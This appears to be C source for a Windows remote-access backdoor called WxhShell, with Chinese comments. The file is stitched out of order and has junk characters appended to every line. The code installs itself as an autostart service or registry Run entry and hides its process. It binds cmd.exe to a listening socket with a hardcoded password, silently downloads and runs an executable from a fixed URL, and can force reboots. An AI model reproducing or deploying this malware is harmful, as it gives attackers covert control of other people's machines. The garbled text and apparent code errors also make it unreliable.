    if(Boot(SHUTDOWN)) <})2#sZO!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-Da~[J  
    else { vTJ}8  
    closesocket(wsh); ~])t 6i  
    ExitThread(0); @Ub"5Fl4  
    } J/[=p<I)  
    break; 0cJWJOj&  
    } yuat" Pg  
  // 获取shell R}q>O5O  
  case 's': { r\/9X}y4z  
    CmdShell(wsh); UFp,a0|  
    closesocket(wsh); oxz OA  
    ExitThread(0); A'jP7 P  
    break; joiL{  
  } 2oNk 93D  
  // 退出 C/TF-g-_Y  
  case 'x': { e> (<eu~P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TWQG591  
    CloseIt(wsh); f!!V${)X  
    break; X@K-^8  
    } P!+'1KR  
  // 离开 cm&I* 0\  
  case 'q': { J6L  K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  DX"xy  
    closesocket(wsh); p2DrEId  
    WSACleanup(); .ys6"V|31  
    exit(1); 9983aFam  
    break; ?e,pN,4  
        } >h k=VyU;  
  } )u/yF*:n  
  } 6^%68N1k  
dIRm q+d^  
  // 提示信息 FRg^c kb"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l}] t~!X=  
} 5[* qi?w=  
  } _Jme!Oaa  
}Rz3<eON  
  return; eC[$B99\  
} kH]yl 2  
fO0XA"=  
// shell模块句柄 +eFFSt  
int CmdShell(SOCKET sock) y5do1Z  
{ n~A%q,DmF  
STARTUPINFO si; ^OstR`U3  
ZeroMemory(&si,sizeof(si)); K)Q]a30  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <xgTS[k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PzA|t;*  
PROCESS_INFORMATION ProcessInfo; ~~SwCXZ+b^  
char cmdline[]="cmd"; >i5acuth  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b0Kc^uj5  
  return 0; m6',SY9T  
} ^!9~Nwn  
Cb9;QzBVA#  
// 自身启动模式 {`K m_<Te!  
int StartFromService(void) QrYpZZ;  
{ * v75O7l  
typedef struct {a4z2"\A  
{ )0Me?BRp  
  DWORD ExitStatus; \ aHVs  
  DWORD PebBaseAddress; U2ZD]q  
  DWORD AffinityMask; \9/ b!A  
  DWORD BasePriority; Lz:(6`S  
  ULONG UniqueProcessId; }lfnnK#  
  ULONG InheritedFromUniqueProcessId; " e}3:U5n  
}   PROCESS_BASIC_INFORMATION; rfNm&!K  
:j]vf8ec  
PROCNTQSIP NtQueryInformationProcess; l&?}hq^'Dn  
[$ejp>'Ud  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /4 vG3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :1iqT)&|8F  
wYQ&C{D%  
  HANDLE             hProcess; tb$LriN  
  PROCESS_BASIC_INFORMATION pbi; JvT"bZk( o  
 }(1JaG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~fT_8z  
  if(NULL == hInst ) return 0; pb$~b\s]=  
#1c_evH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H Ge0hl[n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DM}YJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8[J}CdS  
/ig:9R  
  if (!NtQueryInformationProcess) return 0; Um: Hrjw  
dO4{|(z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AiK  
  if(!hProcess) return 0; jSwf*u  
 \o/n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uU:CR>=AKW  
<oo  
  CloseHandle(hProcess); '*?WU_L(g  
-*m+(7G\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FxVZ[R  
if(hProcess==NULL) return 0; kn>$lTHQ  
9\]^|?zQ`  
HMODULE hMod; yq NzdzX  
char procName[255]; Wh%ucX&  
unsigned long cbNeeded; T+<A`k: -  
`/~8}Y{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -tyK~aasQ  
4=Krq6{  
  CloseHandle(hProcess); H8`(O"V  
iTV) NsC}  
if(strstr(procName,"services")) return 1; // 以服务启动 $pFo Rv  
Q~j`YmR|  
  return 0; // 注册表启动 XLH+C ]pfr  
} vsr[ur[eP  
cg*)0U-_(  
// 主模块 m/qbRk68s  
int StartWxhshell(LPSTR lpCmdLine) /Ne<V2AX  
{ W@Lu;g.Yc  
  SOCKET wsl; ?HV`| Cw  
BOOL val=TRUE; X_g 3rv1J  
  int port=0; I= .z+#Y  
  struct sockaddr_in door; 8G5m{XTS(  
hDp6YV,q  
  if(wscfg.ws_autoins) Install(); N~NQ6:R[  
=?s 3iP  
port=atoi(lpCmdLine); Jte#ZnP  
r?*NhLG ;  
if(port<=0) port=wscfg.ws_port; [g Z"a*  
ty*@7g0k  
  WSADATA data; }-o{ASC#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y:h}z).  
hweaGL t0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZJ 77[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *L'>U[Pl7  
  door.sin_family = AF_INET; OLvcivf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NU*fg`w  
  door.sin_port = htons(port); u*#ZXW  
Hw-Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f4guz  
closesocket(wsl); kr9g K~  
return 1; `UQf2o0%3w  
} p mFk50`  
+ke1Cn'[  
  if(listen(wsl,2) == INVALID_SOCKET) { 4|`Bq}sjZf  
closesocket(wsl); W!"}E%zx   
return 1; MiRdX#+Y  
} x"CZ]p&m  
  Wxhshell(wsl); o)[2@fRC(  
  WSACleanup(); }oKG}wgY  
3t0[^cY8=z  
return 0; $8'O  
zBP>jM(8  
} "luR9l,RRE  
Q lHd,w  
// 以NT服务方式启动 6"D/xV3Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zb134b'  
{ UD)e:G[Gat  
DWORD   status = 0; PGARXw+  
  DWORD   specificError = 0xfffffff;  ^_%kE%I  
j* *s^Sg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N?m0US u*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vQa'S-@u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <6G1 1-K  
  serviceStatus.dwWin32ExitCode     = 0; ?"KC-u|  
  serviceStatus.dwServiceSpecificExitCode = 0; w1|A5q'M  
  serviceStatus.dwCheckPoint       = 0; f*24)Wn<  
  serviceStatus.dwWaitHint       = 0; l?q%?v8  
%Jf<l&K .`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |K^"3`SJ  
  if (hServiceStatusHandle==0) return; H-xFiF  
[F[K^xYTlg  
status = GetLastError(); 1<<kA:d  
  if (status!=NO_ERROR) 7]%Ypv$  
{ %c1#lEC2xN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;_(PVo  
    serviceStatus.dwCheckPoint       = 0; 4 8{vE3JY  
    serviceStatus.dwWaitHint       = 0; i9D0]3/>  
    serviceStatus.dwWin32ExitCode     = status; k,uK6$Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; q;:6_Qr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B: \Uw|Mf  
    return; }=2;  
  } 7rC uu*M  
PDLpNTBf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .y&QqxiE  
  serviceStatus.dwCheckPoint       = 0; \G2B?>E;  
  serviceStatus.dwWaitHint       = 0; P@]8pIB0d^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wCHR7X0*b  
} 033T>qY  
 N<L`c/  
// 处理NT服务事件,比如:启动、停止 2PR^:h2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;=< ^0hxer  
{ ~Gqno  
switch(fdwControl) 5c;h &  
{ Zv_jy@k  
case SERVICE_CONTROL_STOP: C P3<1~  
  serviceStatus.dwWin32ExitCode = 0; er.CDKD%L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :vL1}H<  
  serviceStatus.dwCheckPoint   = 0; 1H,g=Y4f%  
  serviceStatus.dwWaitHint     = 0; 7 ua6l[c  
  { 8v)_6p(<x8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EOoZoVdzx  
  } >z`,ch6~  
  return; 34QfgMyH  
case SERVICE_CONTROL_PAUSE: }elH75[64  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nSCWg=E^  
  break; R <"6ojn  
case SERVICE_CONTROL_CONTINUE: oQ7]= |  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zLD|/`  
  break; O3.C:?;x  
case SERVICE_CONTROL_INTERROGATE: b`_w])Y@  
  break; &VBd~4|p  
}; 5`<eKwls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s:Akk kF  
} V >,Z-&.%  
o_Si mJFK  
// 标准应用程序主函数 ?K@t0a   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I=Oy-  
{ poJg"R4  
. /p|?pu  
// 获取操作系统版本 do-c1;M  
OsIsNt=GetOsVer(); CWO=0_>2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mga6[E<  
Se!)n;?7Sw  
  // 从命令行安装 Fn^C{p^  
  if(strpbrk(lpCmdLine,"iI")) Install(); GyC/_ntn  
- /c7n F  
  // 下载执行文件 %k0EpJE%  
if(wscfg.ws_downexe) { dS`Bk6 Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X[W]=yJJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]=!P(z|  
} k?VQi5M  
V5D`eX9  
if(!OsIsNt) { LjdYsai-  
// 如果时win9x,隐藏进程并且设置为注册表启动 kHJ96G  
HideProc(); M"_FrIO  
StartWxhshell(lpCmdLine); *wV[TKaN  
} )nu~9km3  
else <TNk?df7  
  if(StartFromService()) ^\:2}4Uj_  
  // 以服务方式启动 jvzBh-!  
  StartServiceCtrlDispatcher(DispatchTable); * \HRw +cL  
else o;[bJ Z\^x  
  // 普通方式启动 [k]|Qi nk  
  StartWxhshell(lpCmdLine); nVD Xj  
Yn9j-`  
return 0; A.Bk/N1G  
} }xFi& <  
-iCcoA  
&D#+6M&LK{  
+[m8c){  
=========================================== iQ^: ])m>  
89cVJ4]g~!  
V8O.3fo`[`  
d \>2  
<E\V`g  
PG,U6c #  
" D{'#er  
Xev54!619  
#include <stdio.h> 4%*hGh=  
#include <string.h> /!Z^Y  
#include <windows.h> sygH1|f  
#include <winsock2.h> TD04/ ISHT  
#include <winsvc.h> @<_`2eW'/R  
#include <urlmon.h> =z:U~D  
P ,K\  
#pragma comment (lib, "Ws2_32.lib") H:a|x#"  
#pragma comment (lib, "urlmon.lib") J  fcMca  
xfSG~csoz  
#define MAX_USER   100 // 最大客户端连接数 /'y5SlE[J  
#define BUF_SOCK   200 // sock buffer i=v]:TOu  
#define KEY_BUFF   255 // 输入 buffer fY2wDD  
|ZU#IQVQfn  
#define REBOOT     0   // 重启 S*%iiD)  
#define SHUTDOWN   1   // 关机 #  nfI%  
7SI)1_%G  
#define DEF_PORT   5000 // 监听端口 Vos?PqUi 4  
ew#T8F[  
#define REG_LEN     16   // 注册表键长度 GoE#Mxhxo  
#define SVC_LEN     80   // NT服务名长度 Su8'$CFz$.  
f|xLKcOP  
// 从dll定义API C]`eH *z~8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /hdf{4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4FA|[An  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [V@yRWI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "7?js $  
OoP@-D"e  
// wxhshell配置信息 { U <tc4^  
struct WSCFG { rbk<z\pc  
  int ws_port;         // 监听端口 !Y;<:zx5  
  char ws_passstr[REG_LEN]; // 口令 "+iAd.qd  
  int ws_autoins;       // 安装标记, 1=yes 0=no {Iy7.c8S  
  char ws_regname[REG_LEN]; // 注册表键名 ^i<}]c_|f  
  char ws_svcname[REG_LEN]; // 服务名 ;mO,3dV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L(WOet('  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Goj4`Hc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j$eCe< .3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gJ\%>r7h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ugi5OKdj7)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RT"O;P  
+0pW/4x  
}; PW_`qP:  
i+~QDo(Pi  
// default Wxhshell configuration vmKT F!;  
struct WSCFG wscfg={DEF_PORT, T 2bnzI i  
    "xuhuanlingzhe", ) Ypz!  
    1, ItK  
    "Wxhshell", X*Z5 P  
    "Wxhshell", J5T=!wF (  
            "WxhShell Service", ]+IVSxa!u  
    "Wrsky Windows CmdShell Service", "2h5m4  
    "Please Input Your Password: ", A9BxwQU#  
  1, @;9()ad  
  "http://www.wrsky.com/wxhshell.exe", xbC~ C~#  
  "Wxhshell.exe" *1;23BiH-  
    }; #J+\DhDEPO  
uFe'$vI  
// 消息定义模块 |t\KsW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [:i sZG*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R^9"N?Q7;`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ,o&<WMD  
char *msg_ws_ext="\n\rExit."; 96W4 c]NT  
char *msg_ws_end="\n\rQuit."; md6*c./Z  
char *msg_ws_boot="\n\rReboot..."; 3%NE/lw1  
char *msg_ws_poff="\n\rShutdown..."; K<,Y^3]6?  
char *msg_ws_down="\n\rSave to "; N&B>#:  
5X;?I/9  
char *msg_ws_err="\n\rErr!"; DyI2Ye  
char *msg_ws_ok="\n\rOK!"; $DV-Ieb  
fH!=Zb_{8  
char ExeFile[MAX_PATH]; a R#Cot  
int nUser = 0; '?R=P  
HANDLE handles[MAX_USER]; nx :)k-p_[  
int OsIsNt; I2*oTUSik  
|p'i,.(c_W  
SERVICE_STATUS       serviceStatus; K%<GU1]-]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d2ofxfpg+  
/:6Q.onmLn  
// 函数声明 tG 7+7Z =  
int Install(void); zZYHc?Z  
int Uninstall(void); P7 8uq  
int DownloadFile(char *sURL, SOCKET wsh); "4[<]pq  
int Boot(int flag); xL&PJ /'  
void HideProc(void); ~}%&p& p  
int GetOsVer(void); L`[F~$|  
int Wxhshell(SOCKET wsl); *'^:S#=  
void TalkWithClient(void *cs); %EB;1  
int CmdShell(SOCKET sock); 0HPO" x3-O  
int StartFromService(void); l-=e62I{=|  
int StartWxhshell(LPSTR lpCmdLine); E<a.LW@  
(q k5f`O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F25<+ 1kr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sVD([`Nmc  
j}RM.C\7  
// 数据结构和表定义 -t b;igv  
SERVICE_TABLE_ENTRY DispatchTable[] = tD^a5qPh  
{ ^HoJ.oC/  
{wscfg.ws_svcname, NTServiceMain}, 5|m9:Hv[#  
{NULL, NULL} J]]\&MtaO  
}; #]5)]LF1q  
(lWKy9eTy`  
// 自我安装 1?]J;9p  
int Install(void) QZYM9a>  
{ sBB:$X  
  char svExeFile[MAX_PATH]; }u7D9_KU  
  HKEY key; \"bLE0~  
  strcpy(svExeFile,ExeFile); z{V8@q/  
T;%+]:w<  
// 如果是win9x系统,修改注册表设为自启动 %rFllb7  
if(!OsIsNt) { ?7 X3 P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u dUXc6U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (T2<!&0 @  
  RegCloseKey(key); ,"C&v~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^B6`e^ <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tQ6|PV  
  RegCloseKey(key); tQCj)Ms'X  
  return 0; Z0z)  
    } L]a|vp  
  } %SFw~%@3&~  
} }(rzH}X@  
else { j~Ff/ O  
tpd|y|  
// 如果是NT以上系统,安装为系统服务 '&{(:,!B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  z8tt+AU  
if (schSCManager!=0) 3V!W@[ }:  
{ p?KCVvx$  
  SC_HANDLE schService = CreateService @+Pf[J41  
  ( I$F\(]"@  
  schSCManager, (F_7%!g1d  
  wscfg.ws_svcname, 2O^32TdS  
  wscfg.ws_svcdisp, I>8 Bc  
  SERVICE_ALL_ACCESS, ?/^VOj4&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I BF.&[[S  
  SERVICE_AUTO_START, $&NbLjeS  
  SERVICE_ERROR_NORMAL, >0ssza  
  svExeFile, g;ct!f=U  
  NULL, OC`QD5  
  NULL, Q9nu"x %  
  NULL, 6p e4Ni7I2  
  NULL, hiT9H5 6 >  
  NULL Ubpg92  
  ); W|FNDP0  
  if (schService!=0) )8\Z=uC  
  { Vc{/o=1u  
  CloseServiceHandle(schService); Wa@6VY  
  CloseServiceHandle(schSCManager); $t%"Tr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *E$H;wKs8  
  strcat(svExeFile,wscfg.ws_svcname); @$_rEdwi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y}*Ctdrl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s')!<E+z\t  
  RegCloseKey(key); \y<+Fac1S  
  return 0; pq@$&G  
    } UYl JO{|a  
  } >l6XZQ >  
  CloseServiceHandle(schSCManager); &<m WA]cAL  
} RN sJ!or  
} Q9SPb6O2  
]eORw $f  
return 1; s 0 =@ &/  
} Ynv 9v\n|  
,[+ZjAyG}#  
// 自我卸载 9? v)  
int Uninstall(void) ^D0/H N   
{ _zAc 5rS  
  HKEY key; Uia)5zz8  
t^dakL  
if(!OsIsNt) { &fh.w]\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K1CMLX]m  
  RegDeleteValue(key,wscfg.ws_regname); AJdlqbd'+  
  RegCloseKey(key); oo"JMD)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u~j'NOv  
  RegDeleteValue(key,wscfg.ws_regname); FC|y'j 0  
  RegCloseKey(key); !NQf< ch  
  return 0; GIJV;7~  
  } C%qtCk_cN  
} `V$cz88b  
} ZhxfI?i)l  
else { =rE `ib  
0`zm>fh}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JB: mbH  
if (schSCManager!=0) bt. K<Y0  
{ !!\4'Q[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e /ppZ>  
  if (schService!=0) 5k_Mj* {6  
  { *m2d#f  
  if(DeleteService(schService)!=0) { GN8`xR{J*  
  CloseServiceHandle(schService); .l" _ K  
  CloseServiceHandle(schSCManager); .oB'ttF1  
  return 0; \q>e1-  
  } ]*t*/j;N  
  CloseServiceHandle(schService); E$oA+n~  
  } R;N>#_9HU  
  CloseServiceHandle(schSCManager); ~j\;e  
}  yS(=eB_  
} M<hs_8_*  
c>%z)uY>/  
return 1; NiU tH  
} ]ys4  
RJ7/I/yD|  
// 从指定url下载文件 'ocwXyP,  
int DownloadFile(char *sURL, SOCKET wsh) ,L8I7O}A;  
{ =[O<.'aG-  
  HRESULT hr; FeincZ!M  
char seps[]= "/"; >(YPkmH  
char *token; g@N=N  
char *file; < '+R%6  
char myURL[MAX_PATH]; J/H#d')c  
char myFILE[MAX_PATH]; co(fGp#!  
X.W#=$;$:  
strcpy(myURL,sURL); 0n=9TmE  
  token=strtok(myURL,seps); ()rx>?x5  
  while(token!=NULL) r A&#>R`  
  { n[S41809<  
    file=token; Ve')LY<  
  token=strtok(NULL,seps); ,T1XX2? :  
  } ~P_d0A~T  
/(z0I.yE  
GetCurrentDirectory(MAX_PATH,myFILE); EUYa =-  
strcat(myFILE, "\\"); aL$c).hq0  
strcat(myFILE, file); UC<[z#]\;  
  send(wsh,myFILE,strlen(myFILE),0); {{#a%O  
send(wsh,"...",3,0); !SD [6Z.R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hBs>2u|z9  
  if(hr==S_OK) K.sj"#D  
return 0; QL|:(QM  
else E|6Z]6[  
return 1; {?kKpMNNn  
:@z5& h  
} y("0Xve  
n?KS]ar>  
// 系统电源模块 M<|~MR  
int Boot(int flag) 1\7"I-  
{ t=@Jw  
  HANDLE hToken; J.+?*hcw  
  TOKEN_PRIVILEGES tkp; |4 d{X@`&  
:[ZC-hc\  
  if(OsIsNt) { h-)A?%Xt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J 6d n~nPK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @a7(*<".  
    tkp.PrivilegeCount = 1; emDvy2uA#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rh-8//&vZ/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  C.TCDl  
if(flag==REBOOT) { cB9KHqB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n3@g{4~  
  return 0; (B~V:Yt  
} >t6'8g"T  
else { e&]`X HC9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W:N"O\`{m  
  return 0; lCs8`bYU  
} K]=>F  
  } wW)&Px n  
  else { &#EVE xL  
if(flag==REBOOT) { @8 yE(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r~B Qy'  
  return 0; "T=3mv%S  
} |@n{tog+-  
else { >c'_xa?^G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z$im4'\c  
  return 0; O|g!Y(  
} *fy`JC  
} F|ML$  
S:GUR6g8D  
return 1; C?c-V,  
} p?gLW/n  
g)G7 kB/<p  
// win9x进程隐藏模块 4uE5h~0Z  
void HideProc(void) Q; /!oA_  
{ V{^fH6;[  
W3-Rs&se  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pc-8L]2oaF  
  if ( hKernel != NULL ) qt&"cw  
  { 7!840 :a?+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D8Waf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6+d"3-R.  
    FreeLibrary(hKernel); d/99!+r  
  } ;[\2/$-  
Gw\HL  
return; nQYS{`hk  
} v'~nABYH  
a0j.\g  
// 获取操作系统版本 dfk TDG+  
int GetOsVer(void) #dm@%~B{.  
{ +(k)1kCMn  
  OSVERSIONINFO winfo; e~~k}2~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F vk: c-  
  GetVersionEx(&winfo); X}QmeY[0I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (7#lN  
  return 1; q^+NhAMz  
  else pvdZ>D-IU  
  return 0; HG 6{`i  
} [/,6O  
Rw^YTv  
// 客户端句柄模块 jN[6JY1  
int Wxhshell(SOCKET wsl) 21EUP6}8j  
{ )BTs *7 j  
  SOCKET wsh; :XY3TI  
  struct sockaddr_in client; z00:59M4  
  DWORD myID; {%k;V ~  
/!uBk3x:  
  while(nUser<MAX_USER) 5dEO_1q %  
{ (tz]!Aa{s  
  int nSize=sizeof(client); z4`n%~w1b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n&78~@H  
  if(wsh==INVALID_SOCKET) return 1; ok _{8z\#  
xR6IXF>*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MifgRUe  
if(handles[nUser]==0) HNyDWD)_  
  closesocket(wsh); >2{HH\  
else iiDkk  
  nUser++; E4@fP] R+  
  } TS8E9#1a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q9(}wvtr  
;= @-j@?  
  return 0; a ^/20UFq  
} Id 7  
cMk%]qfVo8  
// 关闭 socket F"P:9`/  
void CloseIt(SOCKET wsh) '\YhRU  
{ $i] M6<Vxn  
closesocket(wsh); !! #ale&  
nUser--; q5?mP6   
ExitThread(0); rBPxGBd4  
} _qo1 GM&  
nt`l6b  
// 客户端请求句柄 RSeezP6#  
void TalkWithClient(void *cs) H 6<@  
{ >-+X;0&  
s1apHwJ -  
  SOCKET wsh=(SOCKET)cs; ;-Dd\\)p  
  char pwd[SVC_LEN]; S^n4aBm\+  
  char cmd[KEY_BUFF]; }4MG114j  
char chr[1]; gUtbCqDS  
int i,j; &t:MWb;  
Ym2m1  
  while (nUser < MAX_USER) { A2bV[+Q  
g%P4$|C9 i  
if(wscfg.ws_passstr) { @Odu.F1e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W >IKy#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ri0+nJ6  
  //ZeroMemory(pwd,KEY_BUFF); *4VP5]!  
      i=0; sjkl? _  
  while(i<SVC_LEN) { LMzYsXG*[  
m:7bynT{  
  // 设置超时 S60`'!y  
  fd_set FdRead; sgsMlZ3/  
  struct timeval TimeOut; <W^~Y31:0  
  FD_ZERO(&FdRead); K ePHn:c  
  FD_SET(wsh,&FdRead); 0].5[Jo  
  TimeOut.tv_sec=8; 'Em($A (  
  TimeOut.tv_usec=0; Di=6.gm[<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O]!DNN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FKm2slzb  
"t`e68{Ls  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u[qtuM?&  
  pwd=chr[0]; .}>[ Kr  
  if(chr[0]==0xd || chr[0]==0xa) { R:<AR.)K  
  pwd=0; M<7*\1  
  break; lV="IP^7  
  } e]fC!>w(\  
  i++; u8=|{)yL  
    } qT%E[qDS  
 >S/>2e:  
  // 如果是非法用户,关闭 socket Bqgw%_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %.Y`X(g6/  
} O$^YUHD  
8Qy |;T}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K_.x(Z(;4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (dZ&Af  
jGPs!64f)  
while(1) { nTlrG6  
QKQy)g  
  ZeroMemory(cmd,KEY_BUFF); akwVU\RP  
ArM e[t0$  
      // 自动支持客户端 telnet标准   GMI >$$<  
  j=0; a$A S?`L  
  while(j<KEY_BUFF) { XA%?35v~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?yh.*,dgi  
  cmd[j]=chr[0]; d|lzkY~  
  if(chr[0]==0xa || chr[0]==0xd) { ?-i&6i6Y  
  cmd[j]=0; H^0KNMf(  
  break; b5C #xxIO  
  } ibL;99#  
  j++; T]k@g_  
    } r|8..Ll  
d1TG[i<J_  
  // 下载文件 (Zkt2[E`  
  if(strstr(cmd,"http://")) { Yr@@ty  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .kV/ 0!q?  
  if(DownloadFile(cmd,wsh)) Rk^&ras_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#tvc4+)  
  else _uacpN/<|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QG ia(  
  } $ :/1U$  
  else { S7]cF5N  
*2Kte'+q  
    switch(cmd[0]) { oizoKwp%  
  Dc5XU3Eu`  
